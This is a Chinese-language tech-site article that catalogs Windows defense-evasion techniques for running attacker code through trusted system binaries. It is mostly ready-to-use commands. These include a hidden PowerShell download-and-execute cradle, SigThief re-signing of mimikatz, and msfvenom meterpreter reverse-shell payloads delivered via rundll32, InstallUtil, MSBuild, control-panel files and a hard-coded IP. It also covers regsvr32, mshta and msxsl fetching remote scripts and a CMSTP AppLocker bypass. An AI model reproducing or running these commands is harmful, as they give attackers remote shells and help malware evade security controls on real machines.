Windows命令執(zhí)行防御規(guī)避總結(jié)
今天小編為大家?guī)?lái)Windows命令執(zhí)行防御規(guī)避總結(jié),具體如下:
powershell
powershell.exe -nop -w hidden -c “IEX ((new-object net.webclient).downloadstring(‘http://xx.xx.xx.xx:8888/logo.gif’))”“ /f
SIP
通過(guò)sip劫持對(duì)惡意代碼簽名獲得系統(tǒng)信任https://github.com/secretsquirrel/SigThief
python sigthief.py -i consent.exe -t mimikatz.exe -o signed-mimikatz.exe
rundll32.exe
生成
msfvenom -a x86 --platform windows -p windows/meterpreter/reverse_tcp LHOST=xx.xx.xx.xx LPORT=4444 -f dll 》xxx.dll
目標(biāo)執(zhí)行
rundll32.exe shell32.dll,Control_RunDLL xxx.dll
Regsvr32.exe
msfconsole
auxiliary/server/regsvr32_command_delivery_server
set CMD net user test 123456 /add
目標(biāo)執(zhí)行
regsvr32 /s /n /u /i:http://xx.xx.xx.xx:8080/aPxOb0o scrobj.dll
InstallUtil.exe
1.編譯后門(mén):
C:WindowsMicrosoft.NETFramework64v4.0.30319》csc.exe /r:System.EnterpriseServices.dll /unsafe /target:library /out:xxx.exe /keyfile:”C:Program Files (x86)Microsoft SDKsWindowsv10.0AbinNETFX 4.8 Toolsx64key.snk“ xxx.cs
2.靶機(jī)上運(yùn)行:
InstallUtil.exe /U xxx.exe
3.msf監(jiān)聽(tīng),得到反彈的shell:
set payload windows/x64/meterpreter/reverse_tcp
set LHOST xx.xx.xx.xx
set LPORT 4444
exploit
Msbuild.exe
MSBuild是Microsoft Build Engine的縮寫(xiě),代表Microsoft和Visual Studio的新的生成平臺(tái),MSBuild可編譯特定格式的xml文件
https://github.com/3gstudent/msbuild-inline-task
msf生成shellcode
msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=xx.xx.xx.xx lport=4444
-f csharp
使用shellcode替換https://github.com/3gstudent/msbuild-inline-task/blob/master/executes%20x64%20shellcode.xml中的shellcode部分
msf監(jiān)聽(tīng)
use exploit/multi/handler
set payload windows/x64/meterpreter/reverse_tcp
set lhost xx.xx.xx.xx
set lport 4444
exploit
運(yùn)行
C:WindowsMicrosoft.NETFrameworkv4.0.30319MSBuild.exe exec64.xml
CMSTP
cmstp.exe /s /ns C:UsersadministratorAppDataLocalTempXKNqbpzl.txt繞過(guò)AppLocker并啟動(dòng)惡意腳本
Mshta.exe
Mshta.exe 是一個(gè)執(zhí)行 Microsoft HTML 應(yīng)用程序 (HTA) 的實(shí)用程序,攻擊者可以使用 mshta.exe 通過(guò)受信任的 Windows 實(shí)用程序代理執(zhí)行惡意代碼
use exploit/windows/misc/hta_server
msf exploit(windows/misc/hta_server) 》 set srvhost xx.xx.xx.xx
msf exploit(windows/misc/hta_server) 》 exploit
mshta.exe http://xx.xx.xx.xx:8080/xxxxxxx.hta
控制面板
攻擊者可以使用控制面板項(xiàng)作為有效載荷來(lái)執(zhí)行任意命令,控制面板項(xiàng)是注冊(cè)的可執(zhí)行文件(.exe)或控制面板(.cpl)文件,可以直接從命令行執(zhí)行或通過(guò)Control_RunDLL(API)調(diào)用或者直接雙擊文件。
攻擊者構(gòu)造惡意的dll文件CPIApplet.dll
利用msf生成dll文件:
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=170.170.64.17 LPORT=4444 -f dll 》 /tmp/CPIApplet.dll
傳入windows機(jī)器,然后重命名為CPIApplet.cpl,通過(guò)control.exe c:usersadministratordesktopCPIApplet.cpl 執(zhí)行命令
通過(guò)msxsl.exe調(diào)用惡意xml文件執(zhí)行腳本
制作兩個(gè)文件
customers.xml
script.xsl
xmlns:xsl=”http://www.w3.org/1999/XSL/Transform“
xmlns:msxsl=”urn:schemas-microsoft-com:xslt“
xmlns:user=”http://mycompany.com/mynamespace“》
function xml(nodelist) {
var r = new ActiveXObject(”WScript.Shell“).Run(”cmd.exe /k calc.exe“);
return nodelist.nextNode().xml;
}
開(kāi)啟http服務(wù)
python3 -m http.server 80
遠(yuǎn)程下載執(zhí)行
msxsl.exe http://xx.xx.xx.xx/customers.xml http://xx.xx.xx.xx/scrip.xsl
相關(guān)文章:
1. 國(guó)產(chǎn)統(tǒng)一操作系統(tǒng)uos怎么安裝? uos操作系統(tǒng)安裝步驟2. MacOS13中wifi低數(shù)據(jù)模式什么意思? MacOS開(kāi)啟低數(shù)據(jù)模式的技巧3. Win10電腦玩紅警卡頓怎么辦?Win10玩紅警卡頓的解決辦法4. Windows11任務(wù)欄無(wú)響應(yīng)Bug,教你2種方法徹底解決!5. 如何讓不符合條件的設(shè)備升級(jí)Windows11?6. Win10記事本被卸載了怎么恢復(fù)?7. Win11如何查看所隱藏的文件?Win11查看隱藏的文件的方法8. Win11系統(tǒng)安裝不了是怎么回事?Win11系統(tǒng)安裝不了是什么原因?9. 如何在Windows11系統(tǒng)打開(kāi)注冊(cè)表編輯器?10. Win11如何添加打印機(jī) Win11添加網(wǎng)絡(luò)打印機(jī)方法教程
